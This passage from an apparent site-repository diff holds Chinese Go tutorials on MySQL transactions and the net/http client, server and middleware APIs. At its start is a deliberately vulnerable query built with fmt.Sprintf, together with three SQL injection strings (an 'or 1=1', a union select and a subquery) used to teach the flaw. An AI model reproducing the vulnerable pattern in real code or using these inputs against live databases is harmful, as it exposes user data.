func sqlInjectDemo(name string) {
sqlStr := fmt.Sprintf("select id, name, age from user where name='%s'", name)
fmt.Printf("SQL:%s\n", sqlStr)
var u user
err := db.QueryRow(sqlStr).Scan(&u.id, &u.name, &u.age)
if err != nil {
fmt.Printf("exec failed, err:%v\n", err)
return
}
fmt.Printf("user:%#v\n", u)
}
+

此时以下输入字符串都可以引发SQL注入问题:

+
sqlInjectDemo("xxx' or 1=1#")
sqlInjectDemo("xxx' union select * from user #")
sqlInjectDemo("xxx' and (select count(*) from user) <10 #")
+

**补充:**不同的数据库中,SQL语句使用的占位符语法不尽相同。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
数据库占位符语法
MySQL?
PostgreSQL$1, $2等
SQLite? 和$1
Oracle:name
+

Go实现MySQL事务​

+

什么是事务?​

+

事务:一个最小的不可再分的工作单元;通常一个事务对应一个完整的业务(例如银行账户转账业务,该业务就是一个最小的工作单元),同时这个完整的业务需要执行多次的DML(insert、update、delete)语句共同联合完成。A转账给B,这里面就需要执行两次update操作。

+

在MySQL中只有使用了Innodb数据库引擎的数据库或表才支持事务。事务处理可以用来维护数据库的完整性,保证成批的SQL语句要么全部执行,要么全部不执行。

+

事务的ACID​

+

通常事务必须满足4个条件(ACID):原子性(Atomicity,或称不可分割性)、一致性(Consistency)、隔离性(Isolation,又称独立性)、持久性(Durability)。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
条件解释
原子性一个事务(transaction)中的所有操作,要么全部完成,要么全部不完成,不会结束在中间某个环节。事务在执行过程中发生错误,会被回滚(Rollback)到事务开始前的状态,就像这个事务从来没有执行过一样。
一致性在事务开始之前和事务结束以后,数据库的完整性没有被破坏。这表示写入的资料必须完全符合所有的预设规则,这包含资料的精确度、串联性以及后续数据库可以自发性地完成预定的工作。
隔离性数据库允许多个并发事务同时对其数据进行读写和修改的能力,隔离性可以防止多个事务并发执行时由于交叉执行而导致数据的不一致。事务隔离分为不同级别,包括读未提交(Read uncommitted)、读提交(read committed)、可重复读(repeatable read)和串行化(Serializable)。
持久性事务处理结束后,对数据的修改就是永久的,即便系统故障也不会丢失。
+

事务相关方法​

+

Go语言中使用以下三个方法实现MySQL中的事务操作。 开始事务

+
func (db *DB) Begin() (*Tx, error)
+

提交事务

+
func (tx *Tx) Commit() error
+

回滚事务

+
func (tx *Tx) Rollback() error
+

事务示例​

+

下面的代码演示了一个简单的事务操作,该事物操作能够确保两次更新操作要么同时成功要么同时失败,不会存在中间状态。

+
// 事务操作示例
func transactionDemo() {
tx, err := db.Begin() // 开启事务
if err != nil {
if tx != nil {
tx.Rollback() // 回滚
}
fmt.Printf("begin trans failed, err:%v\n", err)
return
}
sqlStr1 := "Update user set age=30 where id=?"
ret1, err := tx.Exec(sqlStr1, 2)
if err != nil {
tx.Rollback() // 回滚
fmt.Printf("exec sql1 failed, err:%v\n", err)
return
}
affRow1, err := ret1.RowsAffected()
if err != nil {
tx.Rollback() // 回滚
fmt.Printf("exec ret1.RowsAffected() failed, err:%v\n", err)
return
}

sqlStr2 := "Update user set age=40 where id=?"
ret2, err := tx.Exec(sqlStr2, 3)
if err != nil {
tx.Rollback() // 回滚
fmt.Printf("exec sql2 failed, err:%v\n", err)
return
}
affRow2, err := ret2.RowsAffected()
if err != nil {
tx.Rollback() // 回滚
fmt.Printf("exec ret1.RowsAffected() failed, err:%v\n", err)
return
}

fmt.Println(affRow1, affRow2)
if affRow1 == 1 && affRow2 == 1 {
fmt.Println("事务提交啦...")
tx.Commit() // 提交事务
} else {
tx.Rollback()
fmt.Println("事务回滚啦...")
}

fmt.Println("exec trans success!")
}
+

更强大、更好用的sqlx库

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/index.html new file mode 100644 index 0000000..ec98697 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/index.html @@ -0,0 +1,36 @@ + + + + + +Go基础编程 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go模块学习/GoLand-net.http/index.html b/en/docs/个人知识库/语言知识/Go/Go模块学习/GoLand-net.http/index.html new file mode 100644 index 0000000..ebd5cbf --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go模块学习/GoLand-net.http/index.html @@ -0,0 +1,149 @@ + + + + + +02.GoLand-net.http.md | wjlin0 + + + + + + + +

02.GoLand-net.http.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:58:49
+
+

本篇文章参考如下,如有侵权,请联系我删除。

+ +
+

Go语言内置的net/http包十分的优秀,提供了HTTP客户端和服务端的实现。

+

net/http介绍​

+

Go语言内置的net/http包提供了HTTP客户端和服务端的实现。

+

HTTP协议​

+

超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络传输协议,所有的WWW文件都必须遵守这个标准。设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法。

+

HTTP客户端​

+

基本的HTTP/HTTPS请求​

+

Get、Head、Post和PostForm函数发出HTTP/HTTPS请求。

+
resp, err := http.Get("http://example.com/")
...
resp, err := http.Post("http://example.com/upload", "image/jpeg", &buf)
...
resp, err := http.PostForm("http://example.com/form",
url.Values{"key": {"Value"}, "id": {"123"}})
+

程序在使用完response后必须关闭回复的主体。

+
resp, err := http.Get("http://example.com/")
if err != nil {
// handle error
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
// ...
+

GET请求示例​

+

使用net/http包编写一个简单的发送HTTP请求的Client端,代码如下:

+
package main

import (
"fmt"
"io/ioutil"
"net/http"
)

func main() {
resp, err := http.Get("https://www.liwenzhou.com/")
if err != nil {
fmt.Printf("get failed, err:%v\n", err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("read from resp.Body failed, err:%v\n", err)
return
}
fmt.Print(string(body))
}
+

将上面的代码保存之后编译成可执行文件,执行之后就能在终端打印liwenzhou.com网站首页的内容了,我们的浏览器其实就是一个发送和接收HTTP协议数据的客户端,我们平时通过浏览器访问网页其实就是从网站的服务器接收HTTP数据,然后浏览器会按照HTML、CSS等规则将网页渲染展示出来。

+

带参数的GET请求示例​

+

关于GET请求的参数需要使用Go语言内置的net/url这个标准库来处理。

+
func main() {
apiUrl := "http://127.0.0.1:9090/get"
// URL param
data := url.Values{}
data.Set("name", "小王子")
data.Set("age", "18")
u, err := url.ParseRequestURI(apiUrl)
if err != nil {
fmt.Printf("parse url requestUrl failed, err:%v\n", err)
}
u.RawQuery = data.Encode() // URL encode
fmt.Println(u.String())
resp, err := http.Get(u.String())
if err != nil {
fmt.Printf("post failed, err:%v\n", err)
return
}
defer resp.Body.Close()
b, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("get resp failed, err:%v\n", err)
return
}
fmt.Println(string(b))
}
+

对应的Server端HandlerFunc如下:

+
func getHandler(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
data := r.URL.Query()
fmt.Println(data.Get("name"))
fmt.Println(data.Get("age"))
answer := `{"status": "ok"}`
w.Write([]byte(answer))
}
+

Post请求示例​

+

上面演示了使用net/http包发送GET请求的示例,发送POST请求的示例代码如下:

+
package main

import (
"fmt"
"io/ioutil"
"net/http"
"strings"
)

// net/http post demo

func main() {
url := "http://127.0.0.1:9090/post"
// 表单数据
//contentType := "application/x-www-form-urlencoded"
//data := "name=小王子&age=18"
// json
contentType := "application/json"
data := `{"name":"小王子","age":18}`
resp, err := http.Post(url, contentType, strings.NewReader(data))
if err != nil {
fmt.Printf("post failed, err:%v\n", err)
return
}
defer resp.Body.Close()
b, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Printf("get resp failed, err:%v\n", err)
return
}
fmt.Println(string(b))
}
+

对应的Server端HandlerFunc如下:

+
func postHandler(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
// 1. 请求类型是application/x-www-form-urlencoded时解析form数据
r.ParseForm()
fmt.Println(r.PostForm) // 打印form数据
fmt.Println(r.PostForm.Get("name"), r.PostForm.Get("age"))
// 2. 请求类型是application/json时从r.Body读取数据
b, err := ioutil.ReadAll(r.Body)
if err != nil {
fmt.Printf("read request.Body failed, err:%v\n", err)
return
}
fmt.Println(string(b))
answer := `{"status": "ok"}`
w.Write([]byte(answer))
}
+

自定义Client​

+

要管理HTTP客户端的头域、重定向策略和其他设置,创建一个Client:

+
client := &http.Client{
CheckRedirect: redirectPolicyFunc,
}
resp, err := client.Get("http://example.com")
// ...
req, err := http.NewRequest("GET", "http://example.com", nil)
// ...
req.Header.Add("If-None-Match", `W/"wyzzy"`)
resp, err := client.Do(req)
// ...
+

自定义Transport​

+

要管理代理、TLS配置、keep-alive、压缩和其他设置,创建一个Transport:

+
tr := &http.Transport{
TLSClientConfig: &tls.Config{RootCAs: pool},
DisableCompression: true,
}
client := &http.Client{Transport: tr}
resp, err := client.Get("https://example.com")
+

Client和Transport类型都可以安全的被多个goroutine同时使用。出于效率考虑,应该一次建立、尽量重用。

+

服务端​

+

默认的Server​

+

ListenAndServe使用指定的监听地址和处理器启动一个HTTP服务端。处理器参数通常是nil,这表示采用包变量DefaultServeMux作为处理器。

+

Handle和HandleFunc函数可以向DefaultServeMux添加处理器。

+
http.Handle("/foo", fooHandler)
http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
})
log.Fatal(http.ListenAndServe(":8080", nil))
+

默认的Server示例​

+

使用Go语言中的net/http包来编写一个简单的接收HTTP请求的Server端示例,net/http包是对net包的进一步封装,专门用来处理HTTP协议的数据。具体的代码如下:

+
// http server

func sayHello(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "Hello 沙河!")
}

func main() {
http.HandleFunc("/", sayHello)
err := http.ListenAndServe(":9090", nil)
if err != nil {
fmt.Printf("http server failed, err:%v\n", err)
return
}
}
+

将上面的代码编译之后执行,打开你电脑上的浏览器在地址栏输入127.0.0.1:9090回车,此时就能够看到如下页面了。hello页面

+

自定义Server​

+

要管理服务端的行为,可以创建一个自定义的Server:

+
s := &http.Server{
Addr: ":8080",
Handler: myHandler,
ReadTimeout: 10 * time.Second,
WriteTimeout: 10 * time.Second,
MaxHeaderBytes: 1 << 20,
}
log.Fatal(s.ListenAndServe())
+

模块介绍​

+

Request​

+
// 利用指定的method, url以及可选的body返回一个新的请求.如果body参数实现了
// io.Closer接口,Request返回值的Body 字段会被设置为body,并会被Client
// 类型的Do、Post和PostForm方法以及Transport.RoundTrip方法关闭。
func NewRequest(method, urlStr string, body io.Reader) (*Request, error)

// 从b中读取和解析一个请求.
func ReadRequest(b *bufio.Reader) (req *Request, err error)

// 给request添加cookie, AddCookie向请求中添加一个cookie.按照RFC 6265
// section 5.4的规则, AddCookie不会添加超过一个Cookie头字段.
// 这表示所有的cookie都写在同一行, 用分号分隔(cookie内部用逗号分隔属性)
func (r *Request) AddCookie(c *Cookie)

// 返回request中指定名name的cookie,如果没有发现,返回ErrNoCookie
func (r *Request) Cookie(name string) (*Cookie, error)

// 返回该请求的所有cookies
func (r *Request) Cookies() []*Cookie

// 利用提供的用户名和密码给http基本权限提供具有一定权限的header。
// 当使用http基本授权时,用户名和密码是不加密的
func (r *Request) SetBasicAuth(username, password string)

// 如果在request中发送,该函数返回客户端的user-Agent
func (r *Request) UserAgent() string

// 对于指定格式的key,FormFile返回符合条件的第一个文件,如果有必要的话,
// 该函数会调用ParseMultipartForm和ParseForm。
func (r *Request) FormFile(key string) (multipart.File, *multipart.FileHeader, error)

// 返回key获取的队列中第一个值。在查询过程中post和put中的主题参数优先级
// 高于url中的value。为了访问相同key的多个值,调用ParseForm然后直接
// 检查RequestForm。
func (r *Request) FormValue(key string) string

// 如果这是一个有多部分组成的post请求,该函数将会返回一个MIME 多部分reader,
// 否则的话将会返回一个nil和error。使用本函数代替ParseMultipartForm
// 可以将请求body当做流stream来处理。
func (r *Request) MultipartReader() (*multipart.Reader, error)

// 解析URL中的查询字符串,并将解析结果更新到r.Form字段。对于POST或PUT
// 请求,ParseForm还会将body当作表单解析,并将结果既更新到r.PostForm也
// 更新到r.Form。解析结果中,POST或PUT请求主体要优先于URL查询字符串
// (同名变量,主体的值在查询字符串的值前面)。如果请求的主体的大小没有被
// MaxBytesReader函数设定限制,其大小默认限制为开头10MB。
// ParseMultipartForm会自动调用ParseForm。重复调用本方法是无意义的。
func (r *Request) ParseForm() error

// ParseMultipartForm将请求的主体作为multipart/form-data解析。
// 请求的整个主体都会被解析,得到的文件记录最多 maxMemery字节保存在内存,
// 其余部分保存在硬盘的temp文件里。如果必要,ParseMultipartForm会
// 自行调用 ParseForm。重复调用本方法是无意义的。
func (r *Request) ParseMultipartForm(maxMemory int64) error

// 返回post或者put请求body指定元素的第一个值,其中url中的参数被忽略。
func (r *Request) PostFormValue(key string) string

// 检测在request中使用的http协议是否至少是major.minor
func (r *Request) ProtoAtLeast(major,minor int) bool

// 如果request中有refer,那么refer返回相应的url。Referer在request
// 中是拼错的,这个错误从http初期就已经存在了。该值也可以从Headermap中
// 利用Header["Referer"]获取;在使用过程中利用Referer这个方法而
// 不是map的形式的好处是在编译过程中可以检查方法的错误,而无法检查map中
// key的错误。
func (r *Request) Referer() string

// Write方法以有线格式将HTTP/1.1请求写入w(用于将请求写入下层TCPConn等)
// 。本方法会考虑请求的如下字段:Host URL Method (defaults to "GET")
// Header ContentLength TransferEncoding Body如果存在Body,
// ContentLength字段<= 0且TransferEncoding字段未显式设置为
// ["identity"],Write方法会显式添加”Transfer-Encoding: chunked”
// 到请求的头域。Body字段会在发送完请求后关闭。
func (r *Request) Write(w io.Writer) error

// 该函数与Write方法类似,但是该方法写的request是按照http代理的格式去写。
// 尤其是,按照RFC 2616 Section 5.1.2,WriteProxy会使用绝对URI
// (包括协议和主机名)来初始化请求的第1行(Request-URI行)。无论何种情况,
// WriteProxy都会使用r.Host或r.URL.Host设置Host头。
func (r *Request) WriteProxy(w io.Writer) error
+

Response​

+
// 注意是在response.go中定义的,而在server.go有一个
// type response struct ,注意大小写。这个结构是体现在server端的功能。
type Response struct

// ReadResponse从r读取并返回一个HTTP 回复。req参数是可选的,指定该回复
// 对应的请求(即是对该请求的回复)。如果是nil,将假设请 求是GET请求。
// 客户端必须在结束resp.Body的读取后关闭它。读取完毕并关闭后,客户端可以
// 检查resp.Trailer字段获取回复的 trailer的键值对。
func ReadResponse(r *bufio.Reader, req *Request) (*Response, error)

// 解析cookie并返回在header中利用set-Cookie设定的cookie值。
func (r *Response) Cookies() []*Cookie

// 返回response中Location的header值的url。如果该值存在的话,则对于
// 请求问题可以解决相对重定向的问题,如果该值为nil,则返回ErrNOLocation。
func (r *Response) Location() (*url.URL,error)

// 判定在response中使用的http协议是否至少是major.minor的形式。
func (r *Response) ProtoAtLeast(major, minor int) bool

// 将response中信息按照线性格式写入w中。
func (r *Response) Write(w io.Writer) error
+

Client​

+
// Client具有Do,Get,Head,Post以及PostForm等方法。 其中Do方法可以对
// Request进行一系列的设定,而其他的对request设定较少。如果Client使用默认的
// Client,则其中的Get,Head,Post以及PostForm方法相当于默认的http.Get,
// http.Post, http.Head以及http.PostForm函数。
type Client struct

// 利用GET方法对一个指定的URL进行请求,如果response是如下重定向中的一个
// 代码,则Get之后将会调用重定向内容,最多10次重定向。
// 301 (永久重定向,告诉客户端以后应该从新地址访问)
// 302 (暂时性重定向,作为HTTP1.0的标准,PHP的默认Location重定向用到
// 也是302),注:303和307其实是对302的细化。
// 303 (对于Post请求,它表示请求已经被处理,客户端可以接着使用GET方法去
// 请求Location里的URl)
// 307 (临时重定向,对于Post请求,表示请求还没有被处理,客户端应该向
// Location里的URL重新发起Post请求)
func Get(url string) (resp *Response, err error)

// 该函数功能见net中Head方法功能。该方法与默认的defaultClient中
// Head方法一致。
func Head(url string) (resp *Response, err error)

// 该方法与默认的defaultClient中Post方法一致。
func Post(url string, bodyType string, body io.Reader) (resp *Response, err error)

// 该方法与默认的defaultClient中PostForm方法一致。
func PostForm(url string, data url.Values) (resp *Response, err error)

// Do发送http请求并且返回一个http响应, 遵守client的策略, 如重定向,
// cookies以及auth等.错误经常是由于策略引起的, 当err是nil时, resp
// 总会包含一个非nil的resp.body.当调用者读完resp.body之后应该关闭它,
// 如果resp.body没有关闭, 则Client底层RoundTripper将无法重用存在的
// TCP连接去服务接下来的请求, 如果resp.body非nil, 则必须对其进行关闭.
// 通常来说, 经常使用Get, Post, 或者PostForm来替代Do.
func (c *Client) Do(req *Request) (resp *Response, err error)

// 利用get方法请求指定的url.Get请求指定的页面信息,并返回实体主体。
func (c *Client) Get(url string) (resp *Response, err error)

// 利用head方法请求指定的url,Head只返回页面的首部。
func (c *Client) Head(url string) (resp *Response, err error)

// post方法请求指定的URl, 如果body也是一个io.Closer, 则在请求之后关闭它
func (c *Client) Post(url string, bodyType string, body io.Reader) (resp *Response, err error)

// 利用post方法请求指定的url, 利用data的key和value作为请求体.
func (c *Client) PostForm(url string, data url.Values) (resp *Response, err error)
+

Server 服务端​

+

http Server服务端用来接收并响应http Client端发出的http Request请求,是net/http包中非常重要和关键的一个功能。我们在Go语言中简单就能搭建HTTP服务器,就是因为它的存在。

+

在server.go文件中还定义了一个非常重要的接口:Handler,另外还有一个结构体response,这和http.Response结构体只有首字母大小写不一致,不过这个response 也是响应,只不过是专门用在服务端,和http.Response结构体是完全两回事。

+
type Handler interface {
ServeHTTP(ResponseWriter, *Request)
}

type Server struct

// 监听TCP网络地址srv.Addr然后调用Serve来处理接下来连接的请求。
// 如果srv.Addr是空的话,则使用“:http”。
func (srv *Server) ListenAndServe() error

// ListenAndServeTLS监听srv.Addr确定的TCP地址,并且会调用Serve
// 方法处理接收到的连接。必须提供证书文件和对应的私钥文 件。如果证书是由
// 权威机构签发的,certFile参数必须是顺序串联的服务端证书和CA证书。
// 如果srv.Addr为空字符串,会使 用”:https”。
func (srv *Server) ListenAndServeTLS(certFile, keyFile string) error

// 接受Listener l的连接,创建一个新的服务协程。该服务协程读取请求然后调用
// srv.Handler来应答。实际上就是实现了对某个端口进行监听,然后创建相应的连接。
func (srv *Server) Serve(l net.Listener) error

// 该函数控制是否http的keep-alives能够使用,默认情况下,keep-alives总是可用的。
// 只有资源非常紧张的环境或者服务端在关闭进程中时,才应该关闭该功能。
func (s *Server) SetKeepAlivesEnabled(v bool)

// 是一个http请求多路复用器,它将每一个请求的URL和
// 一个注册模式的列表进行匹配,然后调用和URL最匹配的模式的处理器进行后续操作。
type ServeMux

// 初始化一个新的ServeMux
func NewServeMux() *ServeMux

// 将handler注册为指定的模式,如果该模式已经有了handler,则会出错panic。
func (mux *ServeMux) Handle(pattern string, handler Handler)

// 将handler注册为指定的模式
func (mux *ServeMux) HandleFunc(pattern string, handler func(ResponseWriter, *Request))

// 根据指定的r.Method, r.Host以及r.RUL.Path返回一个用来处理给定请求的handler。
// 该函数总是返回一个非nil的 handler,如果path不是一个规范格式,则handler会
// 重定向到其规范path。Handler总是返回匹配该请求的的已注册模式;在内建重定向
// 处理器的情况下,pattern会在重定向后进行匹配。如果没有已注册模式可以应用于该请求,
// 本方法将返回一个内建的”404 page not found”处理器和一个空字符串模式。
func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string)

// 该函数用于将最接近请求url模式的handler分配给指定的请求。
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request)
+

Handler接口应该算是server.go中最关键的接口了,如果我们仔细看这个文件的源代码,将会发现很多结构体实现了这个接口的ServeHTTP方法。

+

注意这个接口的注释:Handler响应HTTP请求。没错,最终我们的http服务是通过实现ServeHTTP(ResponseWriter, *Request)来达到服务端接收客户端请求并响应。

+

理解 HTTP 构建的网络应用只要关注两个端---客户端(Clinet)和服务端(Server),两个端的交互来自 Clinet 的 Request,以及Server端的Response。HTTP服务器,主要在于如何接受 Clinet端的 Request,Server端向Client端返回Response。

+

那这个过程是什么样的呢?要讲清楚这个过程,还需要回到开始的HTTP服务器程序。这里以前面我们了解到的http Request、http Response、http Client作为基础,并重点分析server.go源代码才能讲清楚:

+
func main() {
http.HandleFunc("/", myfunc)
http.ListenAndServe(":8080", nil)
}
+

以上两行代码,就成功启动了一个HTTP服务器。我们通过net/http 包源代码分析发现,调用Http.HandleFunc,按顺序做了几件事:

+

1.Http.HandleFunc调用了DefaultServeMux的HandleFunc

+
func HandleFunc(pattern string, handler func(ResponseWriter, *Request)) {
DefaultServeMux.HandleFunc(pattern, handler)
}
+

2.DefaultServeMux.HandleFunc调用了DefaultServeMux的Handle,DefaultServeMux是一个ServeMux 指针变量。而ServeMux 是Go语言中的Multiplexer(多路复用器),通过Handle匹配pattern 和我们定义的handler(其实就是http.HandlerFunc函数类型变量)。

+
var DefaultServeMux = &defaultServeMux
var defaultServeMux ServeMux

func (mux *ServeMux) HandleFunc(pattern string, handler func(ResponseWriter, *Request)) {
mux.Handle(pattern, HandlerFunc(handler))
}
+

注意: 上面的方法命名Handle,HandleFunc和HandlerFunc,Handler(接口),他们很相似,容易混淆。记住Handle和HandleFunc和pattern 匹配有关,也即往DefaultServeMux的map[string]muxEntry中增加对应的handler和路由规则。

+

接着我们看看myfunc的声明和定义:

+
func myfunc(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hi")
}
+

而type HandlerFunc func(ResponseWriter, *Request) 是一个函数类型,而我们定义的myfunc的函数签名刚好符合这个函数类型。

+

所以http.HandleFunc("/", myfunc),实际上是mux.Handle("/", HandlerFunc(myfunc))。

+

HandlerFunc(myfunc) 让myfunc成为了HandlerFunc类型,我们称myfunc为handler。而HandlerFunc类型是具有ServeHTTP方法的,而有了ServeHTTP方法也就是实现了Handler接口。

+
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
f(w, r) // 这相当于自身的调用
}
+

现在ServeMux和Handler都和我们的myfunc联系上了,myfunc是一个Handler接口变量也是HandlerFunc类型变量,接下来和结构体server有关了。

+

从http.ListenAndServe的源码可以看出,它创建了一个server对象,并调用server对象的ListenAndServe方法:

+
func ListenAndServe(addr string, handler Handler) error {
server := &Server{Addr: addr, Handler: handler}
return server.ListenAndServe()
}
+

而我们HTTP服务器中第二行代码:

+
http.ListenAndServe(":8080", nil)
+

创建了一个server对象,并调用server对象的ListenAndServe方法,这里没有直接传递Handler,而是默认使用DefautServeMux作为multiplexer,myfunc是存在于handler和路由规则中的。

+

Server的ListenAndServe方法中,会初始化监听地址Addr,同时调用Listen方法设置监听。

+
for {
rw, e := l.Accept()
...
c := srv.newConn(rw)
c.setState(c.rwc, StateNew)
go c.serve(ctx)
}
+

监听开启之后,一旦客户端请求过来,Go就开启一个协程go c.serve(ctx)处理请求,主要逻辑都在serve方法之中。

+

func (c *conn) serve(ctx context.Context),这个方法很长,里面主要的一句:serverHandler{c.server}.ServeHTTP(w, w.req)。其中w由w, err := c.readRequest(ctx)得到,因为有传递context。

+

还是来看源代码:

+
type serverHandler struct {
srv *Server
}

func (sh serverHandler) ServeHTTP(rw ResponseWriter, req Request) {
handler := sh.srv.Handler
if handler == nil {
handler = DefaultServeMux
}
if req.RequestURI == "" && req.Method == "OPTIONS" {
handler = globalOptionsHandler{}
}
handler.ServeHTTP(rw, req)
}
+

从http.ListenAndServe(":8080", nil)开始,handler是nil,所以最后实际ServeHTTP方法是DefaultServeMux.ServeHTTP(rw, req)。

+
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
if r.RequestURI == "*" {
if r.ProtoAtLeast(1, 1) {
w.Header().Set("Connection", "close")
}
w.WriteHeader(StatusBadRequest)
return
}
h, _ := mux.Handler(r)
h.ServeHTTP(w, r)
}
+

通过func (mux ServeMux) Handler(r Request) (h Handler, pattern string),我们得到Handler h,然后执行h.ServeHTTP(w, r)方法,也就是执行我们的myfunc函数(别忘了myfunc是HandlerFunc类型,而他的ServeHTTP(w, r)方法这里其实就是自己调用自己),把response写到http.ResponseWriter对象返回给客户端,fmt.Fprintf(w, "hi"),我们在客户端会接收到hi 。至此整个HTTP服务执行完成。

+

总结下,HTTP服务整个过程大概是这样:

+
Request -> ServeMux(Multiplexer) -> handler-> Response
+

我们再看下面代码:

+
http.ListenAndServe(":8080", nil)
func ListenAndServe(addr string, handler Handler) error {
server := &Server{Addr: addr, Handler: handler}
return server.ListenAndServe()
}
+

上面代码实际上就是server.ListenAndServe()执行的实际效果,只不过简单声明了一个结构体Server{Addr: addr, Handler: handler}实例。如果我们声明一个Server实例,完全可以达到深度自定义 http.Server的目的:

+
package main

import (
"fmt"
"net/http"
)

func myfunc(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hi")
}

func main() {
// 更多http.Server的字段可以根据情况初始化
server := http.Server{
Addr: ":8080",
ReadTimeout: 0,
WriteTimeout: 0,
}
http.HandleFunc("/", myfunc)
server.ListenAndServe()
}

这样服务也能跑起来,而且我们完全可以根据情况来自定义我们的Server!

还可以指定Servemux的用法:

GOPATH\src\go42\chapter-15\15.3\7\main.go

package main

import (
"fmt"
"net/http"
)

func myfunc(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hi")
}

func main() {
mux := http.NewServeMux()

mux.HandleFunc("/", myfunc)
http.ListenAndServe(":8080", mux)
}
+

如果既指定Servemux又自定义 http.Server,因为Server中有字段Handler,所以我们可以直接把Servemux变量作为Server.Handler:

+
package main

import (
"fmt"
"net/http"
)

func myfunc(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hi")
}

func main() {
server := http.Server{
Addr: ":8080",
ReadTimeout: 0,
WriteTimeout: 0,
}
mux := http.NewServeMux()
server.Handler = mux

mux.HandleFunc("/", myfunc)
server.ListenAndServe()
}
+

在前面pprof 包的内容中我们也用了本章开头这段代码,当我们访问http://localhost:8080/debug/pprof/ 时可以看到对应的性能分析报告。 因为我们这样导入 _"net/http/pprof" 包时,在文件 pprof.go 文件中init 函数已经定义好了handler:

+
func init() {
http.HandleFunc("/debug/pprof/", Index)
http.HandleFunc("/debug/pprof/cmdline", Cmdline)
http.HandleFunc("/debug/pprof/profile", Profile)
http.HandleFunc("/debug/pprof/symbol", Symbol)
http.HandleFunc("/debug/pprof/trace", Trace)
}
+

所以,我们就可以通过浏览器访问上面地址来看到报告。现在再来看这些代码,我们就明白怎么回事了!

+

自定义处理器(Custom Handlers)​

+

自定义的Handler:

+

标准库http提供了Handler接口,用于开发者实现自己的handler。只要实现接口的ServeHTTP方法即可。

+
package main

import (
"log"
"net/http"
"time"
)

type timeHandler struct {
format string
}

func (th *timeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
tm := time.Now().Format(th.format)
w.Write([]byte("The time is: " + tm))
}

func main() {
mux := http.NewServeMux()

th := &timeHandler{format: time.RFC1123}
mux.Handle("/time", th)

log.Println("Listening...")
http.ListenAndServe(":3000", mux)
}
+

我们知道,NewServeMux可以创建一个ServeMux实例,ServeMux同时也实现了ServeHTTP方法,因此代码中的mux也是一种handler。把它当成参数传给http.ListenAndServe方法,后者会把mux传给Server实例。因为指定了handler,因此整个http服务就不再是DefaultServeMux,而是mux,无论是在注册路由还是提供请求服务的时候。

+

任何有 func(http.ResponseWriter,*http.Request) 签名的函数都能转化为一个 HandlerFunc 类型。这很有用,因为 HandlerFunc 对象内置了 ServeHTTP 方法,后者可以聪明又方便的调用我们最初提供的函数内容。

+

将函数作为处理器​

+
package main

import (
"log"
"net/http"
"time"
)

func timeHandler(w http.ResponseWriter, r *http.Request) {
tm := time.Now().Format(time.RFC1123)
w.Write([]byte("The time is: " + tm))
}

func main() {
mux := http.NewServeMux()

// Convert the timeHandler function to a HandlerFunc type
th := http.HandlerFunc(timeHandler)
// And add it to the ServeMux
mux.Handle("/time", th)

log.Println("Listening...")
http.ListenAndServe(":3000", mux)
}
+

创建新的server:

+
func index(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")

html := `<doctype html>
<html>
<head>
<title>Hello World</title>
</head>
<body>
<p>
Welcome
</p>
</body>
</html>`
fmt.Fprintln(w, html)
}

func main(){
http.HandleFunc("/", index)

server := &http.Server{
Addr: ":8000",
ReadTimeout: 60 * time.Second,
WriteTimeout: 60 * time.Second,
}
server.ListenAndServe()
}
+

中间件Middleware​

+

所谓中间件,就是连接上下级不同功能的函数或者软件,通常进行一些包裹函数的行为,为被包裹函数提供添加一些功能或行为。前文的HandleFunc就能把签名为 func(w http.ResponseWriter, r *http.Reqeust)的函数包裹成handler。这个函数也算是中间件。

+

Go的http中间件很简单,只要实现一个函数签名为func(http.Handler) http.Handler的函数即可。http.Handler是一个接口,接口方法我们熟悉的为serveHTTP。返回也是一个handler。因为Go中的函数也可以当成变量传递或者或者返回,因此也可以在中间件函数中传递定义好的函数,只要这个函数是一个handler即可,即实现或者被handlerFunc包裹成为handler处理器。

+
func index(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")

html := `<doctype html>
<html>
<head>
<title>Hello World</title>
</head>
<body>
<p>
Welcome
</p>
</body>
</html>`
fmt.Fprintln(w, html)
}

func middlewareHandler(next http.Handler) http.Handler{
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request){
// 执行handler之前的逻辑
next.ServeHTTP(w, r)
// 执行完毕handler后的逻辑
})
}

func loggingHandler(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
start := time.Now()
log.Printf("Started %s %s", r.Method, r.URL.Path)
next.ServeHTTP(w, r)
log.Printf("Completed %s in %v", r.URL.Path, time.Since(start))
})
}

func main() {
http.Handle("/", loggingHandler(http.HandlerFunc(index)))

http.ListenAndServe(":8000", nil)
}
